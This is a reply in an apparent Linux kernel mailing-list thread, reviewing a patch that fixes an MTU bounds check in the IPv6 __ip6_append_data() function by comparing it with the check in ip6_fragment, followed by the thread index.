+        if (mtu < fragheaderlen + sizeof(struct frag_hdr) + 8)
+            goto emsgsize;

See ip6_fragment:

        if (mtu < hlen + sizeof(struct frag_hdr) + 8)
                goto fail_toobig;

^ permalink raw reply	[flat|nested] 6+ messages in thread

end of thread, other threads:[~2026-10-26 15:19 UTC | newest]

Thread overview: 6+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-26 10:54 ipv6: skb_over_panic in __ip6_append_data() when mtu - fragheaderlen is in [1,7] (single sendmsg, since 2.6.12) 平之
2026-10-26 11:46 ` Greg KH
     [not found]   ` <tencent_7454E65EE7BD1C085B6951A7D2305157370A@qq.com>
     [not found]     ` <2026102658-jockey-volley-94ff@gregkh>
2026-10-26 12:53       ` [PATCH net] ipv6: fix dead half of the MTU guard in __ip6_append_data() 平之
2026-10-26 12:56         ` netdev-bot+sinfo
2026-10-26 15:12         ` Willem de Bruijn
2026-10-26 15:19         ` Willem de Bruijn

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox